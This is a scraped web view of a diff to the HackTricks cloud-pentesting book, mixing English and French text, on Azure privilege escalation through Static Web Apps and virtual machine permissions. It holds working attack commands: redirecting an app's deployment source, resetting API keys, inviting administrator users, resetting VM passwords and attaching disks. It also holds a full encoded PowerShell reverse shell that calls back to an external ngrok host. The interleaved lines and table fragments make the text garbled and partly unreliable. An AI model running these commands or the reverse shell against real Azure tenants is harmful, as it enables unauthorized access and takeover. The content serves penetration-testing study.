In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
|
|
||||||
|
|
||||||
|
Dans le cas où la **Politique d'Autorisation de Déploiement** n'est pas définie sur Github, vous pouvez la changer avec la même permission `Microsoft.Web/staticSites/write`.
|
||||||
```bash
|
```bash
|
||||||
# Change the source to a different Github repository
|
# Change the source to a different Github repository
|
||||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||||
@@ -179,117 +168,109 @@ az rest --method PATCH \
|
|||||||
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
||||||
--headers 'Content-Type=application/json' \
|
--headers 'Content-Type=application/json' \
|
||||||
--body '{
|
--body '{
|
||||||
"properties": {
|
"properties": {
|
||||||
"allowConfigFileUpdates": true,
|
"allowConfigFileUpdates": true,
|
||||||
"stagingEnvironmentPolicy": "Enabled",
|
"stagingEnvironmentPolicy": "Enabled",
|
||||||
"buildProperties": {
|
"buildProperties": {
|
||||||
"appLocation": "/",
|
"appLocation": "/",
|
||||||
"apiLocation": "",
|
"apiLocation": "",
|
||||||
"appArtifactLocation": "build"
|
"appArtifactLocation": "build"
|
||||||
},
|
},
|
||||||
"deploymentAuthPolicy": "GitHub",
|
"deploymentAuthPolicy": "GitHub",
|
||||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
|
Exemple d'Action Github pour déployer l'application :
|
||||||
Example Github Action to deploy the app:
|
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
name: Azure Static Web Apps CI/CD
|
name: Azure Static Web Apps CI/CD
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
- main
|
- main
|
||||||
pull_request:
|
pull_request:
|
||||||
types: [opened, synchronize, reopened, closed]
|
types: [opened, synchronize, reopened, closed]
|
||||||
branches:
|
branches:
|
||||||
- main
|
- main
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build_and_deploy_job:
|
build_and_deploy_job:
|
||||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: Build and Deploy Job
|
name: Build and Deploy Job
|
||||||
permissions:
|
permissions:
|
||||||
id-token: write
|
id-token: write
|
||||||
contents: read
|
contents: read
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
with:
|
with:
|
||||||
submodules: true
|
submodules: true
|
||||||
lfs: false
|
lfs: false
|
||||||
- name: Install OIDC Client from Core Package
|
- name: Install OIDC Client from Core Package
|
||||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||||
- name: Get Id Token
|
- name: Get Id Token
|
||||||
uses: actions/github-script@v6
|
uses: actions/github-script@v6
|
||||||
id: idtoken
|
id: idtoken
|
||||||
with:
|
with:
|
||||||
script: |
|
script: |
|
||||||
const coredemo = require('@actions/core')
|
const coredemo = require('@actions/core')
|
||||||
return await coredemo.getIDToken()
|
return await coredemo.getIDToken()
|
||||||
result-encoding: string
|
result-encoding: string
|
||||||
- name: Build And Deploy
|
- name: Build And Deploy
|
||||||
id: builddeploy
|
id: builddeploy
|
||||||
uses: Azure/static-web-apps-deploy@v1
|
uses: Azure/static-web-apps-deploy@v1
|
||||||
with:
|
with:
|
||||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||||
action: "upload"
|
action: "upload"
|
||||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||||
app_location: "/" # App source code path
|
app_location: "/" # App source code path
|
||||||
api_location: "" # Api source code path - optional
|
api_location: "" # Api source code path - optional
|
||||||
output_location: "build" # Built app content directory - optional
|
output_location: "build" # Built app content directory - optional
|
||||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||||
###### End of Repository/Build Configurations ######
|
###### End of Repository/Build Configurations ######
|
||||||
|
|
||||||
close_pull_request_job:
|
close_pull_request_job:
|
||||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: Close Pull Request Job
|
name: Close Pull Request Job
|
||||||
steps:
|
steps:
|
||||||
- name: Close Pull Request
|
- name: Close Pull Request
|
||||||
id: closepullrequest
|
id: closepullrequest
|
||||||
uses: Azure/static-web-apps-deploy@v1
|
uses: Azure/static-web-apps-deploy@v1
|
||||||
with:
|
with:
|
||||||
action: "close"
|
action: "close"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Microsoft.Web/staticSites/resetapikey/action
|
### Microsoft.Web/staticSites/resetapikey/action
|
||||||
|
|
||||||
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
|
Avec cette permission, il est possible de **réinitialiser la clé API de l'application web statique**, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST \
|
az rest --method POST \
|
||||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||||
|
|
||||||
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
|
Cette permission permet de **créer une invitation à un utilisateur** pour accéder à des chemins protégés à l'intérieur d'une application web statique avec un rôle spécifique donné.
|
||||||
|
|
||||||
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
|
|
||||||
|
|
||||||
|
La connexion se trouve dans un chemin tel que `/.auth/login/github` pour github ou `/.auth/login/aad` pour Entra ID et un utilisateur peut être invité avec la commande suivante :
|
||||||
```bash
|
```bash
|
||||||
az staticwebapp users invite \
|
az staticwebapp users invite \
|
||||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||||
--name my-first-static-web-app # Name of the app\
|
--name my-first-static-web-app # Name of the app\
|
||||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||||
--user-details username # Github username in this case\
|
--user-details username # Github username in this case\
|
||||||
--resource-group Resource_Group_1 # Resource group of the app
|
--resource-group Resource_Group_1 # Resource group of the app
|
||||||
```
|
```
|
||||||
|
|
||||||
### Pull Requests
|
### Pull Requests
|
||||||
|
|
||||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
Par défaut, les Pull Requests d'une branche dans le même dépôt seront automatiquement compilées et construites dans un environnement de staging. Cela pourrait être abusé par un attaquant ayant un accès en écriture sur le dépôt mais sans pouvoir contourner les protections de branche de la branche de production (généralement `main`) pour **déployer une version malveillante de l'application** dans l'URL de staging.
|
||||||
|
|
||||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
L'URL de staging a ce format : `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` comme : `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
> Notez qu'en règle générale, les PR externes ne lanceront pas de workflows à moins qu'elles n'aient fusionné au moins 1 PR dans le dépôt. Un attaquant pourrait envoyer une PR valide au dépôt et **ensuite envoyer une PR malveillante** au dépôt pour déployer l'application malveillante dans l'environnement de staging. CEPENDANT, il existe une protection inattendue, l'action Github par défaut pour déployer dans l'application web statique a besoin d'accès au secret contenant le token de déploiement (comme `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) même si le déploiement est effectué avec l'IDToken. Cela signifie qu'une PR externe n'aura pas accès à ce secret et qu'une PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu'une PR soit acceptée, **cette attaque ne fonctionnera donc pas vraiment**.
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ az vm extension set \
|
|||||||
|
|
||||||
{{#tab name="Windows" }}
|
{{#tab name="Windows" }}
|
||||||
|
|
||||||
- Exécuter un reverse shell
|
- Exécutez un shell inversé
|
||||||
```bash
|
```bash
|
||||||
# Get encoded reverse shell
|
# Get encoded reverse shell
|
||||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||||
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
|
|||||||
|
|
||||||
<summary>Hybrid Runbook Worker</summary>
|
<summary>Hybrid Runbook Worker</summary>
|
||||||
|
|
||||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VM à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
@@ -308,7 +308,7 @@ Cette permission permet à un utilisateur de **se connecter en tant qu'utilisate
|
|||||||
|
|
||||||
Connectez-vous via **SSH** avec **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** et via **RDP** avec vos **identifiants Azure habituels**.
|
Connectez-vous via **SSH** avec **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** et via **RDP** avec vos **identifiants Azure habituels**.
|
||||||
|
|
||||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||||
|
|
||||||
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever ses privilèges.
|
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever ses privilèges.
|
||||||
|
|
||||||
@@ -343,15 +343,15 @@ az vm identity assign \
|
|||||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||||
```
|
```
|
||||||
Alors, l'attaquant doit avoir **compromis d'une manière ou d'une autre la VM** pour voler des jetons des identités gérées assignées. Vérifiez **plus d'infos dans** :
|
L'attaquant doit donc avoir **compromis d'une manière ou d'une autre la VM** pour voler des jetons des identités gérées assignées. Consultez **plus d'infos dans** :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
|
||||||
|
|
||||||
Ces permissions permettent de changer l'utilisateur et le mot de passe de la machine virtuelle pour y accéder :
|
Ces autorisations permettent de changer l'utilisateur et le mot de passe de la machine virtuelle pour y accéder :
|
||||||
```bash
|
```bash
|
||||||
az vm user update \
|
az vm user update \
|
||||||
--resource-group <RESOURCE_GROUP_NAME> \
|
--resource-group <RESOURCE_GROUP_NAME> \
|
||||||
@@ -359,6 +359,22 @@ az vm user update \
|
|||||||
--username <USERNAME> \
|
--username <USERNAME> \
|
||||||
--password <NEW_PASSWORD>
|
--password <NEW_PASSWORD>
|
||||||
```
|
```
|
||||||
|
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
|
||||||
|
|
||||||
|
Ces autorisations vous permettent de gérer les disques et les interfaces réseau, et elles vous permettent de joindre un disque à une machine virtuelle.
|
||||||
|
```bash
|
||||||
|
# Update the disk's network access policy
|
||||||
|
az disk update \
|
||||||
|
--name <disk-name> \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--network-access-policy AllowAll
|
||||||
|
|
||||||
|
# Attach the disk to a virtual machine
|
||||||
|
az vm disk attach \
|
||||||
|
--vm-name <vm-name> \
|
||||||
|
--resource-group <resource-group-name> \
|
||||||
|
--name <disk-name>
|
||||||
|
```
|
||||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||||
|
|
||||||
Selon les [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), cette permission vous permet de gérer le système d'exploitation de votre ressource via Windows Admin Center en tant qu'administrateur. Il semble donc que cela donne accès au WAC pour contrôler les VMs...
|
Selon les [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), cette permission vous permet de gérer le système d'exploitation de votre ressource via Windows Admin Center en tant qu'administrateur. Il semble donc que cela donne accès au WAC pour contrôler les VMs...
|
||||||
|
|||||||
Reference in New Issue
Block a user